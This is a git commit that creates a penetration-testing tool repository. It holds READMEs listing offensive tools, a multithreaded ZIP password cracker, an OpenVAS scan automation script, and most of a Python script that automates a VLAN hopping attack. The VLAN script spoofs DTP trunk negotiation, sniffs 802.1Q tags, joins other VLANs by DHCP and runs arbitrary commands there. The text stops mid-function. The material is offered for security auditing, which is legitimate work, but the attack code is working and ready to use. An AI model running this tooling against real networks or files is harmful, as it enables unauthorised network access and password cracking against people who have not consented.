This commit is contained in:
Mariusz B 2018-02-02 22:22:43 +01:00
commit c08aa59f9a
65 changed files with 8281 additions and 0 deletions

19
README.md Normal file
View File

@ -0,0 +1,19 @@
## Penetration Testing Tools, Scripts, CheatSheets
This is a collection of many tools, scripts, cheatsheets and other loots that I've been developing over years for penetration testing and IT Security audits purposes. Many of them actually had been used during real-world assignments, some of them are a collection gathered from various sources (waiting to be used someday).
This repository does not contain actual exploits. These I will release under separate repository in some point in future.
Most of these files actually comes straight from my [Gists](https://gist.github.com/mgeeky) - I've decided to move them into separated repository as managmenet of this number of scripts became tough nut to crack.
This repository is divided further onto following directories:
- `file-formats` - Contains various file-format related utilities, fuzzers and so on.
- `linux` - Contains linux-based scripts for various purposes.
- `networks` - Network devices & services Penetration Testing and auditing scripts
- `others` - Others related somehow to penetration tests & Audits
- `social-engineering` - Powershell, Visual Basic, js, phishings and other alike candys
- `web` - Web-Application auditing, pentesting, fuzzing related.
- `windows` - Windows utilities, scripts, exploits.
Of course these tools do not contain any customer/client related sensitive informations and there are no assignment-specific tools developed as PoCs.

4
file-formats/README.md Normal file
View File

@ -0,0 +1,4 @@
## File-Formats Penetration Testing related scripts, tools and Cheatsheets
- **`zipcrack.rb`** - Simple multi-threaded ZIP cracker. ([gist](https://gist.github.com/mgeeky/f89262744fa37e9ec2351dccdc81b44c))

101
file-formats/zipcrack.rb Normal file
View File

@ -0,0 +1,101 @@
#
# Simple multi-threaded ZIP cracker.
#
# MGeeky, 2016
#
require 'archive/zip'
require 'tmpdir'
require 'fileutils'
$THREADS = 10
$CRACKED = false
$TOTAL_WORDS = 0
$TMPDIR = File.join Dir::tmpdir, "dir#{Time.now.to_i}_#{rand(100)}"
def thread file, num, words
tmp = $TMPDIR + "-" + num.to_s
tested = 0
words.each do |w|
return if $CRACKED
tested += 1
if num == 0 and tested % 100 == 0
printf "\t[%02.2f%%] Testing: '%s'...\r", (100 * tested.to_f / $TOTAL_WORDS), w
end
if test(file, tmp, w)
puts "\n\t== GOT PASSWORD: '#{w}'\n"
$CRACKED = true
return true
end
end
false
end
def test file, dest, pass
begin
Archive::Zip.extract file, dest, :password => pass
true
rescue Archive::Zip::EntryError
false
end
end
if ARGV.empty? or ARGV.length < 2
puts "\n[?] Usage: zipcrack.rb file.zip wordlist\n\n"
exit
end
filename = ARGV.shift
wordlist = ARGV.shift
if not File.exists? filename
puts "\n[!] Input ZIP file does not exists!\n\n"
exit
end
if not File.exists? wordlist
puts "\n[!] Input wordlist file does not exists!\n\n"
exit
end
words = Array.new($THREADS) { Array.new }
File.readlines(wordlist).each do |line|
words[$TOTAL_WORDS % $THREADS].push line.strip
$TOTAL_WORDS += 1
end
puts "\nMy little ZIP cracker ~ mgeeky, 2016\n\n"
puts "\tThere is #{$TOTAL_WORDS} words to be tested."
puts "\tRunning zip cracker within #{$THREADS} threads."
puts "\n"
threads = Array.new
words.each_with_index do |w, num|
threads.push Thread.new { thread(filename, num, w)}
end
trap("SIGINT"){ throw :ctrl_c }
catch :ctrl_c do
begin
threads.each do |t|
t.join
end
rescue Exception
end
end
if $CRACKED
puts "\nSuccess.\n"
else
puts "\nWithout luck.\n"
end
threads.each_with_index do |t, num|
FileUtils.rm_rf($TMPDIR + "-" + num.to_s)
end

4
linux/README.md Normal file
View File

@ -0,0 +1,4 @@
## Linux-based Penetration Testing tools, scripts and cheatsheets.
- **`openvas-automate.sh`** - OpenVAS automation script. ([gist](https://gist.github.com/mgeeky/a038f809dff4d308db94f5f657908da7))

284
linux/openvas-automate.sh Normal file
View File

@ -0,0 +1,284 @@
#!/bin/bash
#
# OpenVAS automation script.
# Mariusz B. / mgeeky, '17
# v0.2
#
trap ctrl_c INT
# --- CONFIGURATION ---
USER=<USERNAME>
PASS=<PASSWORD>
HOST=127.0.0.1
PORT=9390
# Must be one of the below defined targets
SCAN_PROFILE=""
#SCAN_PROFILE="Full and fast ultimate"
FORMAT="PDF"
# A valid "alive_test" parameter
# Defines how it is determined if the targets are alive
# Currently, valid values are the following:
# Scan Config Default
# ICMP, TCP-ACK Service & ARP Ping
# TCP-ACK Service & ARP Ping
# ICMP & ARP Ping
# ICMP & TCP-ACK Service Ping
# ARP Ping
# TCP-ACK Service Ping
# TCP-SYN Service Ping
# ICMP Ping
# Consider Alive
ALIVE_TEST='ICMP, TCP-ACK Service &amp; ARP Ping'
# --- END OF CONFIGURATION ---
targets=(
"Discovery"
"Full and fast"
"Full and fast ultimate"
"Full and very deep"
"Full and very deep ultimate"
"Host Discovery"
"System Discovery"
)
formats=(
"ARF"
"CPE"
"HTML"
"ITG"
"NBE"
"PDF"
"TXT"
"XML"
)
able_to_clean=1
function usage {
echo
echo -ne "Usage: openvas-automate.sh <host>"
echo
echo -ne "\n host\t- IP address or domain name of the host target."
echo
echo
}
function omp_cmd {
cmd="omp -u $USER -w \"$PASS\" -h $HOST -p $PORT $@"
#>&2 echo "DBG: OMP cmd: \"$cmd\""
eval $cmd 2>&1
}
function omp_cmd_xml {
omp_cmd "--xml='$@'"
}
function end {
echo "[>] Performing cleanup"
if [ $able_to_clean -eq 1 ]; then
omp_cmd -D $task_id
omp_cmd -X '<delete_target target_id="'$target_id'"/>'
fi
exit 1
}
function ctrl_c() {
echo "[?] CTRL-C trapped."
exit 1
end
}
echo
echo " :: OpenVAS automation script."
echo " mgeeky, 0.2"
echo
out=$(omp_cmd -g | grep -i "discovery")
if [ -z "$out" ]; then
echo "Exiting due to OpenVAS authentication failure."
exit 1
fi
echo "[+] OpenVAS authenticated."
if [ -z "$SCAN_PROFILE" ]; then
echo "[>] Please select scan type:"
echo -e "\t1. Discovery"
echo -e "\t2. Full and fast"
echo -e "\t3. Full and fast ultimate"
echo -e "\t4. Full and very deep"
echo -e "\t5. Full and very deep ultimate"
echo -e "\t6. Host Discovery"
echo -e "\t7. System Discovery"
echo -e "\t9. Exit"
echo ""
echo "--------------------------------"
read -p "Please select an option: " m
if [ $m -eq 9 ]; then exit 0;
elif [ $m -eq 1 ]; then SCAN_PROFILE="Discovery"
elif [ $m -eq 2 ]; then SCAN_PROFILE="Full and fast"
elif [ $m -eq 3 ]; then SCAN_PROFILE="Full and fast ultimate"
elif [ $m -eq 4 ]; then SCAN_PROFILE="Full and very deep"
elif [ $m -eq 5 ]; then SCAN_PROFILE="Full and very deep ultimate"
elif [ $m -eq 6 ]; then SCAN_PROFILE="Host Discovery"
elif [ $m -eq 7 ]; then SCAN_PROFILE="System Discovery"
else echo "[!] Unknown profile selected" && exit 1
fi
echo
fi
found=0
for i in "${targets[@]}"
do
if [ "$i" == "$SCAN_PROFILE" ]; then
found=1
break
fi
done
scan_profile_id=$(omp_cmd -g | grep "$SCAN_PROFILE" | cut -d' ' -f1)
if [ $found -eq 0 ] || [ -z "$scan_profile_id" ]; then
echo "[!] You've selected unknown SCAN_PROFILE. Please change it in script's settings."
exit 1
fi
found=0
for i in "${formats[@]}"
do
if [ "$i" == "$FORMAT" ]; then
found=1
break
fi
done
format_id=$(omp_cmd -F | grep "$FORMAT" | cut -d' ' -f1)
if [ $found -eq 0 ] || [ -z $format_id ]; then
echo "[!] You've selected unknown FORMAT. Please change it in script's settings."
exit 1
fi
if [ -z "$1" ]; then
usage
exit 1
fi
TARGET="$1"
host "$TARGET" 2>&1 > /dev/null
if [ $? -ne 0 ]; then
echo "[!] Specified target host seems to be unavailable!"
read -p "Are you sure you want to continue [Y/n]? " -n 1 -r
echo
if [[ $REPLY =~ ^[Yy]$ ]]
then
echo > /dev/null
else
exit 1
fi
fi
echo "[+] Tasked: '$SCAN_PROFILE' scan against '$TARGET' "
target_id=$(omp_cmd -T | grep "$TARGET" | cut -d' ' -f1)
out=""
if [ -z "$target_id" ]; then
echo "[>] Creating a target..."
out=$(omp -u $USER -w '$PASS' -h $HOST -p $PORT --xml=\
"<create_target>\
<name>${TARGET}</name><hosts>$TARGET</hosts>\
<alive_tests>$ALIVE_TEST</alive_tests>\
</create_target>")
target_id=$(echo "$out" | pcregrep -o1 'id="([^"]+)"')
else
echo "[>] Reusing target..."
fi
if [ -z "$target_id" ]; then
echo "[!] Something went wrong, couldn't acquire target's ID! Output:"
echo $out
exit 1
else
echo "[+] Target's id: $target_id"
fi
echo "[>] Creating a task..."
task_id=$(omp_cmd -C -n "$TARGET" --target=$target_id --config=$scan_profile_id)
if [ $? -ne 0 ]; then
echo "[!] Could not create a task."
end
fi
echo "[+] Task created successfully, id: '$task_id'"
echo "[>] Starting the task..."
report_id=$(omp_cmd -S $task_id)
if [ $? -ne 0 ]; then
echo "[!] Could not start a task."
end
fi
able_to_clean=0
echo "[+] Task started. Report id: $report_id"
echo "[.] Awaiting for it to finish. This will take a long while..."
echo
aborted=0
while true; do
RET=$(omp_cmd -G)
if [ $? -ne 0 ]; then
echo '[!] Querying jobs failed.';
end
fi
RET=$(echo -n "$RET" | grep -m1 "$task_id" | tr '\n' ' ')
out=$(echo "$RET" | tr '\n' ' ')
echo -ne "$out\r"
if [ `echo "$RET" | grep -m1 -i "fail"` ]; then
echo '[!] Failed getting running jobs list'
end
fi
echo "$RET" | grep -m1 -i -E "done|Stopped"
if [ $? -ne 1 ]; then
aborted=1
break
fi
sleep 1
done
if [ $aborted -eq 0 ]; then
echo "[+] Job done, generating report..."
FILENAME=${TARGET// /_}
FILENAME="openvas_${FILENAME//[^a-zA-Z0-9_\.\-]/}_$(date +%s)"
out=$(omp_cmd --get-report $report_id --format $format_id > $FILENAME.$FORMAT )
if [ $? -ne 0 ]; then
echo '[!] Failed getting report.';
echo "[!] Output: $out"
#end
fi
echo "[+] Scanning done."
else
echo "[?] Scan monitoring has been aborted. You're on your own now."
fi

85
networks/README.md Normal file
View File

@ -0,0 +1,85 @@
## Networks Penetration Testing related scripts, tools and Cheatsheets
- **`dtpscan.py`** - DTP Scanner - simple script trying to determine type of configured switchport and DTP negotation mode in order to assist in VLAN Hopping attacks. ([gist](https://gist.github.com/mgeeky/3f678d385984ba0377299a844fb793fa))
- **`smtpdowngrade.rb`** - Bettercap TCP Proxy SMTP Downgrade module - prevents the SMTP client from sending "STARTTLS" and returns "454 TLS Not available..." to the client. ([gist](https://gist.github.com/mgeeky/188f3f319e6f3536476e4b272ec0fb19))
- **`networkConfigurationCredentialsExtract.py`** - Network-configuration Credentials extraction script - intended to sweep input configuration file and extract keys, hashes, passwords. ([gist](https://gist.github.com/mgeeky/861a8769a261c7fc09a34b7d2bd1e1a0))
- **`VLANHopperDTP.py`** - VLAN Hopping via DTP Trunk (Switch) Spoofing exploit - script automating full VLAN Hopping attack, from DTP detection to VLAN Hop with DHCP lease request ([gist](https://gist.github.com/mgeeky/7ff9bb1dcf8aa093d3a157b3c22432a0))
Sample output:
```
$ ./VLANHopperDTP.py --help
:: VLAN Hopping via DTP Trunk negotiation
Performs VLAN Hopping via negotiated DTP Trunk / Switch Spoofing technique
Mariusz B. / mgeeky, '18
v0.3
usage: ./VLANHopperDTP.py [options]
optional arguments:
-h, --help show this help message and exit
-i DEV, --interface DEV
Select interface on which to operate.
-e CMD, --execute CMD
Launch specified command after hopping to new VLAN.
One can use one of following placeholders in command:
%IFACE (choosen interface), %IP (acquired IP), %NET
(net address), %HWADDR (MAC), %GW (gateway), %MASK
(full mask), %CIDR (short mask). For instance: -e
"arp-scan -I %IFACE %NET%CIDR". May be repeated for
more commands. The command will be launched
SYNCHRONOUSLY, meaning - one have to append "&" at the
end to make the script go along.
-E CMD, --exit-execute CMD
Launch specified command at the end of this script
(during cleanup phase).
-m HWADDR, --mac-address HWADDR
Changes MAC address of the interface before and after
attack.
-f, --force Attempt VLAN Hopping even if DTP was not detected
(like in Nonegotiate situation).
-a, --analyse Analyse mode: do not create subinterfaces, don't ask
for DHCP leases.
-v, --verbose Display verbose output.
-d, --debug Display debug output.
$ sudo ./VLANHopperDTP.py -i enp5s0f1
:: VLAN Hopping via DTP Trunk negotiation
Performs VLAN Hopping via negotiated DTP Trunk / Switch Spoofing technique
Mariusz B. / mgeeky, '18
v0.2
[+] VLAN Hopping IS possible.
[>] After Hopping to other VLANs - leave this program running to maintain connections.
[>] Discovering new VLANs...
==> VLAN discovered: 10
==> VLAN discovered: 20
==> VLAN discovered: 30
==> VLAN discovered: 99
[+] Hopped to VLAN 10.: 172.16.10.10
[+] Hopped to VLAN 20.: 172.16.20.10
[+] Hopped to VLAN 30.: 172.16.30.11
[+] Hopped to VLAN 99.: 172.16.99.10
```
- **`nmap-grep-to-table.sh`** - Script converting nmap's greppable output (-oG) into a printable per-host tables. ([gist](https://gist.github.com/mgeeky/cd3092cf60fd513d786286a21c6fa915))
- **`host-scanner-via-udp.py`** - Running Hosts scanner leveraging ICMP Destination Unreachable response upon UDP closed port packet. ([gist](https://gist.github.com/mgeeky/eae20db2d3dd4704fc6f04ea233bca9c))
- **`smb-credential-leak.html`** - SMB Credentials leakage by MSEdge as presented in Browser Security White Paper, X41 D-Sec GmbH. ([gist](https://gist.github.com/mgeeky/44ce8a8887c169aa6a0093d915ea103d))
- **`iis_webdav_upload.py`** - Microsoft IIS WebDAV Write Code Execution exploit (based on Metasploit HDM's <iis_webdav_upload_asp> implementation). ([gist](https://gist.github.com/mgeeky/ce179cdbe4d8d85979a28c1de61618c2))
- **`smtpvrfy.py`** - SMTP VRFY python tool intended to check whether SMTP server is leaking usernames. ([gist](https://gist.github.com/mgeeky/1df141b18082b6f424df98fa6a630435))
- **`pingsweep.py`** - Quick Python Scapy-based ping-sweeper. ([gist](https://gist.github.com/mgeeky/a360e4a124ddb9ef6a9ac1557b47d14c))
- **`sshbrute.py`** - ripped out from Violent Python - by TJ O'Connor. ([gist](https://gist.github.com/mgeeky/70606be7249a61ac26b34b1ef3b07553))

644
networks/VLANHopperDTP.py Normal file
View File

@ -0,0 +1,644 @@
#!/usr/bin/python
#
# This script is performing DTP Trunk mode detection and VLAN Hopping
# attack automatically, running sniffer afterwards to collect any other
# VLAN available. To be launched only in Unix/Linux environment as the
# script utilizes following applications:
# - 8021q.ko
# - vconfig
# - ifconfig / ip / route
# - dhclient
#
# NOTICE:
# This program uses code written by 'floodlight', which comes from here:
# https://github.com/floodlight/oftest/blob/master/src/python/oftest/afpacket.py
#
# TODO:
# - Add logic that falls back to static IP address setup when DHCP fails
# - Possibly implement custom ARP/ICMP/DHCP spoofers
#
# Mariusz B. / mgeeky, '18
#
import os
import sys
import socket
import struct
import argparse
import tempfile
import commands
import threading
import subprocess
import fcntl, socket, struct
from ctypes import *
try:
from scapy.all import *
except ImportError:
print('[!] Scapy required: pip install scapy')
sys.exit(1)
VERSION = '0.3'
config = {
'verbose' : False,
'debug' : False,
'force' : False,
'count' : 10,
'timeout' : 90,
'analyse' : False,
'interface' : '',
'macaddr' : '',
'inet' : '',
'origmacaddr' : '',
'commands' : [],
'exitcommands' : [],
}
stopThreads = False
attackEngaged = False
dot1qSnifferStarted = False
vlansHijacked = set()
subinterfaces = set()
tempfiles = []
#
# ===============================================
# Floodlight's afpacket definitions
#
ETH_P_8021Q = 0x8100
SOL_PACKET = 263
PACKET_AUXDATA = 8
TP_STATUS_VLAN_VALID = 1 << 4
class struct_iovec(Structure):
_fields_ = [
("iov_base", c_void_p),
("iov_len", c_size_t),
]
class struct_msghdr(Structure):
_fields_ = [
("msg_name", c_void_p),
("msg_namelen", c_uint32),
("msg_iov", POINTER(struct_iovec)),
("msg_iovlen", c_size_t),
("msg_control", c_void_p),
("msg_controllen", c_size_t),
("msg_flags", c_int),
]
class struct_cmsghdr(Structure):
_fields_ = [
("cmsg_len", c_size_t),
("cmsg_level", c_int),
("cmsg_type", c_int),
]
class struct_tpacket_auxdata(Structure):
_fields_ = [
("tp_status", c_uint),
("tp_len", c_uint),
("tp_snaplen", c_uint),
("tp_mac", c_ushort),
("tp_net", c_ushort),
("tp_vlan_tci", c_ushort),
("tp_padding", c_ushort),
]
libc = CDLL("libc.so.6")
recvmsg = libc.recvmsg
recvmsg.argtypes = [c_int, POINTER(struct_msghdr), c_int]
recvmsg.retype = c_int
def enable_auxdata(sk):
"""
Ask the kernel to return the VLAN tag in a control message
Must be called on the socket before afpacket.recv.
"""
sk.setsockopt(SOL_PACKET, PACKET_AUXDATA, 1)
def recv(sk, bufsize):
"""
Receive a packet from an AF_PACKET socket
@sk Socket
@bufsize Maximum packet size
"""
buf = create_string_buffer(bufsize)
ctrl_bufsize = sizeof(struct_cmsghdr) + sizeof(struct_tpacket_auxdata) + sizeof(c_size_t)
ctrl_buf = create_string_buffer(ctrl_bufsize)
iov = struct_iovec()
iov.iov_base = cast(buf, c_void_p)
iov.iov_len = bufsize
msghdr = struct_msghdr()
msghdr.msg_name = None
msghdr.msg_namelen = 0
msghdr.msg_iov = pointer(iov)
msghdr.msg_iovlen = 1
msghdr.msg_control = cast(ctrl_buf, c_void_p)
msghdr.msg_controllen = ctrl_bufsize
msghdr.msg_flags = 0
rv = recvmsg(sk.fileno(), byref(msghdr), 0)
if rv < 0:
raise RuntimeError("recvmsg failed: rv=%d", rv)
# The kernel only delivers control messages we ask for. We
# only enabled PACKET_AUXDATA, so we can assume it's the
# only control message.
assert msghdr.msg_controllen >= sizeof(struct_cmsghdr)
cmsghdr = struct_cmsghdr.from_buffer(ctrl_buf) # pylint: disable=E1101
assert cmsghdr.cmsg_level == SOL_PACKET
assert cmsghdr.cmsg_type == PACKET_AUXDATA
auxdata = struct_tpacket_auxdata.from_buffer(ctrl_buf, sizeof(struct_cmsghdr)) # pylint: disable=E1101
if auxdata.tp_vlan_tci != 0 or auxdata.tp_status & TP_STATUS_VLAN_VALID:
# Insert VLAN tag
tag = struct.pack("!HH", ETH_P_8021Q, auxdata.tp_vlan_tci)
return buf.raw[:12] + tag + buf.raw[12:rv]
else:
return buf.raw[:rv]
#
# ===============================================
#
class Logger:
@staticmethod
def _out(x):
if config['debug'] or config['verbose']:
sys.stdout.write(x + '\n')
@staticmethod
def dbg(x):
if config['debug']:
sys.stdout.write('[dbg] ' + x + '\n')
@staticmethod
def out(x):
Logger._out('[.] ' + x)
@staticmethod
def info(x):
Logger._out('[?] ' + x)
@staticmethod
def err(x):
sys.stdout.write('[!] ' + x + '\n')
@staticmethod
def fail(x):
Logger._out('[-] ' + x)
@staticmethod
def ok(x):
Logger._out('[+] ' + x)
def inspectPacket(dtp):
tlvs = dtp['DTP'].tlvlist
stat = -1
for tlv in tlvs:
if tlv.type == 2:
stat = ord(tlv.status)
break
ret = True
if stat == -1:
Logger.fail('Something went wrong: Got invalid DTP packet.')
ret = False
elif stat == 2:
Logger.fail('DTP disabled, Switchport in Access mode configuration')
print('[!] VLAN Hopping is not possible.')
ret = False
elif stat == 3:
Logger.ok('DTP enabled, Switchport in default configuration')
print('[+] VLAN Hopping is possible.')
elif stat == 4 or stat == 0x84:
Logger.ok('DTP enabled, Switchport in Dynamic Auto configuration')
print('[+] VLAN Hopping is possible.')
elif stat == 0x81:
Logger.ok('DTP enabled, Switchport in Trunk configuration')
print('[+] VLAN Hopping IS possible.')
elif stat == 0xa5:
Logger.info('DTP enabled, Switchport in Trunk with 802.1Q encapsulation forced configuration')
print('[?] VLAN Hopping may be possible.')
elif stat == 0x42:
Logger.info('DTP enabled, Switchport in Trunk with ISL encapsulation forced configuration')
print('[?] VLAN Hopping may be possible.')
if ret:
print('[>] After Hopping to other VLANs - leave this program running to maintain connections.')
return ret
def floodTrunkingRequests():
while not stopThreads:
# Ethernet
dot3 = Dot3(src = config['macaddr'], dst = '01:00:0c:cc:cc:cc', len = 42)
# Logical-Link Control
llc = LLC(dsap = 0xaa, ssap = 0xaa, ctrl = 3)
# OUT = Cisco, Code = DTP
snap = SNAP(OUI = 0x0c, code = 0x2004)
# DTP, Status = Access/Desirable (3), Type: Trunk (3)
dtp = DTP(ver = 1, tlvlist = [
DTPDomain(length = 13, type = 1, domain = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'),
DTPStatus(status = '\\x03', length = 5, type = 2),
DTPType(length = 5, type = 3, dtptype = '\\xa5'),
DTPNeighbor(type = 4, neighbor = config['macaddr'], len = 10)
])
frame = dot3 / llc / snap / dtp
Logger.dbg('SENT: DTP Trunk Keep-Alive:\n{}'.format(frame.summary()))
send(frame, iface = config['interface'], verbose = False)
time.sleep(30)
def engageDot1qSniffer():
global dot1qSnifferStarted
if dot1qSnifferStarted:
return
dot1qSnifferStarted = True
Logger.info('Starting VLAN/802.1Q sniffer.')
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
sock.bind((config['interface'], ETH_P_ALL))
enable_auxdata(sock)
print('[>] Discovering new VLANs...')
while not stopThreads:
buf = recv(sock, 65535)
pkt = Ether(buf)
if pkt.haslayer(Dot1Q):
dot1q = pkt.vlan
if dot1q not in vlansHijacked:
print('==> VLAN discovered: {}'.format(dot1q))
vlansHijacked.add(dot1q)
if not config['analyse']:
t = threading.Thread(target = addVlanIface, args = (dot1q, ))
t.daemon = True
t.start()
else:
Logger.info('Analysis mode: Did not go any further.')
Logger.info('Stopped VLAN/802.1Q sniffer.')
def processDtps(dtps):
global attackEngaged
if stopThreads: return
if attackEngaged == False:
success = False
for dtp in dtps:
if dtp.haslayer(DTP):
if inspectPacket(dtp):
success = True
break
if success:
Logger.ok('VLAN Hopping via Switch Spoofing may be possible.')
Logger.ok('Flooding with fake Access/Desirable DTP frames...\n')
t = threading.Thread(target = floodTrunkingRequests)
t.daemon = True
t.start()
attackEngaged = True
time.sleep(5)
if attackEngaged:
engageDot1qSniffer()
def launchCommand(subif, cmd):
# following placeholders in command:
# $GW (gateway),
# $MASK (full mask),
Logger.dbg('Subinterface: {}, Parsing command: "{}"'.format(subif, cmd))
if '%IFACE' in cmd: cmd = cmd.replace('%IFACE', subif)
if '%HWADDR' in cmd: cmd = cmd.replace('%HWADDR', getHwAddr(subif))
if '%IP' in cmd: cmd = cmd.replace('%IP', getIfaceIP(subif))
if '%NET' in cmd: cmd = cmd.replace('%NET', shell("route -n | grep " + subif + " | grep -v UG | awk '{print $1}' | head -1"))
if '%MASK' in cmd: cmd = cmd.replace('%MASK', shell("route -n | grep " + subif + " | grep -v UG | awk '{print $3}' | head -1"))
if '%GW' in cmd: cmd = cmd.replace('%GW', shell("route -n | grep " + subif + " | grep UG | awk '{print $2}' | head -1"))
if '%CIDR' in cmd: cmd = cmd.replace('%CIDR', '/' + shell("ip addr show " + subif + " | grep inet | awk '{print $2}' | cut -d/ -f2"))
print('[>] Launching command: "{}"'.format(cmd))
shell(cmd)
def launchCommands(subif, commands):
for cmd in commands:
launchCommand(subif, cmd)
def addVlanIface(vlan):
global subinterfaces
global tempfiles
subif = '{}.{}'.format(config['interface'], vlan)
if subif in subinterfaces:
Logger.fail('Already created that subinterface: {}'.format(subif))
return
Logger.info('Creating new VLAN Subinterface for {}.'.format(vlan))
out = shell('vconfig add {} {}'.format(
config['interface'], vlan
))
if out.startswith('Added VLAN with VID == {}'.format(vlan)):
subinterfaces.add(subif)
pidFile = tempfile.NamedTemporaryFile().name
dbFile = tempfile.NamedTemporaryFile().name
tempfiles.append(pidFile)
tempfiles.append(dbFile)
Logger.info('So far so good, subinterface {} added.'.format(subif))
ret = False
for attempt in range(3):
Logger.dbg('Acquiring DHCP lease for {}'.format(subif))
shell('dhclient -lf {} -pf {} -r {}'.format(dbFile, pidFile, subif))
time.sleep(3)
if attempt > 0:
shell('dhclient -lf {} -pf {} -x {}'.format(dbFile, pidFile, subif))
time.sleep(3)
shell('dhclient -lf {} -pf {} {}'.format(dbFile, pidFile, subif))
time.sleep(3)
ip = getIfaceIP(subif)
if ip:
Logger.dbg('Subinterface has IP: {}'.format(ip))
ret = True
print('[+] Hopped to VLAN {}.: {}'.format(vlan, ip))
launchCommands(subif, config['commands'])
break
time.sleep(5)
if not ret:
Logger.fail('Could not acquire DHCP lease for: {}'.format(subif))
Logger.fail('Skipping...')
else:
Logger.fail('Failed.: "{}"'.format(out))
def packetCallback(pkt):
Logger.dbg('RECV: ' + pkt.summary())
def sniffThread():
global vlansHijacked
warnOnce = False
Logger.info('Sniffing for DTP frames (Max count: {}, Max timeout: {} seconds)...'.format(
config['count'], config['timeout']
))
while not stopThreads and not attackEngaged:
try:
dtps = sniff(
count = config['count'],
filter = 'ether[20:2] == 0x2004',
timeout = config['timeout'],
prn = packetCallback,
stop_filter = lambda x: x.haslayer(DTP) or stopThreads,
iface = config['interface']
)
except Exception as e:
if 'Network is down' in str(e):
break
Logger.err('Exception occured during sniffing: ' + str(e))
if len(dtps) == 0 and not warnOnce:
Logger.fail('It seems like there was no DTP frames transmitted.')
Logger.fail('VLAN Hopping may not be possible (unless Switch is in Non-negotiate state):')
Logger.info('\tSWITCH(config-if)# switchport nonnegotiate\t/ or / ')
Logger.info('\tSWITCH(config-if)# switchport mode access')
warnOnce = True
if len(dtps) > 0 or config['force']:
if len(dtps) > 0:
Logger.dbg('Got {} DTP frames.\n'.format(
len(dtps)
))
else:
Logger.info('Forced mode: Beginning attack blindly.')
t = threading.Thread(target = processDtps, args = (dtps, ))
t.daemon = True
t.start()
Logger.dbg('Stopped sniffing.')
def getHwAddr(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', ifname[:15]))
return ':'.join(['%02x' % ord(char) for char in info[18:24]])
def getIfaceIP(iface):
out = shell("ip addr show " + iface + " | grep inet | awk '{print $2}' | head -1 | cut -d/ -f1")
Logger.dbg('Interface: {} has IP: {}'.format(iface, out))
return out
def changeMacAddress(iface, mac):
old = getHwAddr(iface)
Logger.dbg('Changing MAC address of interface {}, from: {} to: {}'.format(
iface, old, mac
))
shell('ifconfig {} down'.format(iface))
shell('ifconfig {} hw ether {}'.format(iface, mac))
shell('ifconfig {} up'.format(iface))
ret = old != getHwAddr(iface)
if ret:
Logger.dbg('Changed.')
else:
Logger.dbg('Not changed.')
return ret
def assure8021qCapabilities():
if ('not found' in shell('modprobe -n 8021q')):
Logger.err('There is no kernel module named: "8021q". Fatal error.')
return False
if not shell('which vconfig'):
Logger.err('There is no "vconfig" utility. Package required: "vconfig". Fatal error.')
return False
shell('modprobe 8021q')
return True
def shell(cmd):
out = commands.getstatusoutput(cmd)[1]
Logger.dbg('shell("{}") returned:\n"{}"'.format(cmd, out))
return out
def selectDefaultInterface():
global config
commands = {
'ip' : "ip route show | grep default | awk '{print $5}' | head -1",
'ifconfig': "route -n | grep 0.0.0.0 | grep 'UG' | awk '{print $8}' | head -1",
}
for k, v in commands.items():
out = shell(v)
if len(out) > 0:
Logger.info('Default interface lookup command returned:\n{}'.format(out))
config['interface'] = out
return out
return ''
def cleanup():
if config['origmacaddr'] != config['macaddr']:
Logger.dbg('Restoring original MAC address...')
changeMacAddress(config['interface'], config['origmacaddr'])
for subif in subinterfaces:
Logger.dbg('Removing subinterface: {}'.format(subif))
launchCommands(subif, config['exitcommands'])
shell('vconfig rem {}'.format(subif))
Logger.dbg('Removing temporary files...')
for file in tempfiles:
os.remove(file)
def parseOptions(argv):
print('''
:: VLAN Hopping via DTP Trunk negotiation
Performs VLAN Hopping via negotiated DTP Trunk / Switch Spoofing technique
Mariusz B. / mgeeky, '18
v{}
'''.format(VERSION))
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options]')
parser.add_argument('-i', '--interface', metavar='DEV', default='', help='Select interface on which to operate.')
parser.add_argument('-e', '--execute', dest='command', metavar='CMD', default=[], action='append', help='Launch specified command after hopping to new VLAN. One can use one of following placeholders in command: %%IFACE (choosen interface), %%IP (acquired IP), %%NET (net address), %%HWADDR (MAC), %%GW (gateway), %%MASK (full mask), %%CIDR (short mask). For instance: -e "arp-scan -I %%IFACE %%NET%%CIDR". May be repeated for more commands. The command will be launched SYNCHRONOUSLY, meaning - one have to append "&" at the end to make the script go along.')
parser.add_argument('-E', '--exit-execute', dest='exitcommand', metavar='CMD', default=[], action='append', help='Launch specified command at the end of this script (during cleanup phase).')
parser.add_argument('-m', '--mac-address', metavar='HWADDR', dest='mac', default='', help='Changes MAC address of the interface before and after attack.')
parser.add_argument('-f', '--force', action='store_true', help='Attempt VLAN Hopping even if DTP was not detected (like in Nonegotiate situation).')
parser.add_argument('-a', '--analyse', action='store_true', help='Analyse mode: do not create subinterfaces, don\'t ask for DHCP leases.')
parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
args = parser.parse_args()
config['verbose'] = args.verbose
config['debug'] = args.debug
config['analyse'] = args.analyse
config['force'] = args.force
config['interface'] = args.interface
config['commands'] = args.command
config['exitcommands'] = args.exitcommand
return args
def main(argv):
global config
global stopThreads
opts = parseOptions(argv)
if not opts:
Logger.err('Options parsing failed.')
return False
if os.getuid() != 0:
Logger.err('This program must be run as root.')
return False
load_contrib('dtp')
if not assure8021qCapabilities():
Logger.err('Unable to proceed.')
return False
if not opts.interface:
if not selectDefaultInterface():
Logger.err('Could not find suitable interface. Please specify it.')
return False
print('[>] Interface to work on: "{}"'.format(config['interface']))
config['origmacaddr'] = config['macaddr'] = getHwAddr(config['interface'])
if not config['macaddr']:
Logger.err('Could not acquire MAC address of interface: "{}"'.format(
config['interface']
))
return False
else:
Logger.dbg('Interface "{}" has MAC address: "{}"'.format(
config['interface'], config['macaddr']
))
config['inet'] = getIfaceIP(config['interface'])
if not config['inet']:
Logger.fail('Could not acquire interface\'s IP address! Proceeding...')
oldMac = config['macaddr']
if opts.mac:
oldMac = changeMacAddress(config['interface'], opts.mac)
if oldMac:
config['macaddr'] = opts.mac
else:
Logger.err('Could not change interface\'s MAC address!')
return False
t = threading.Thread(target = sniffThread)
t.daemon = True
t.start()
try:
while True:
pass
except KeyboardInterrupt:
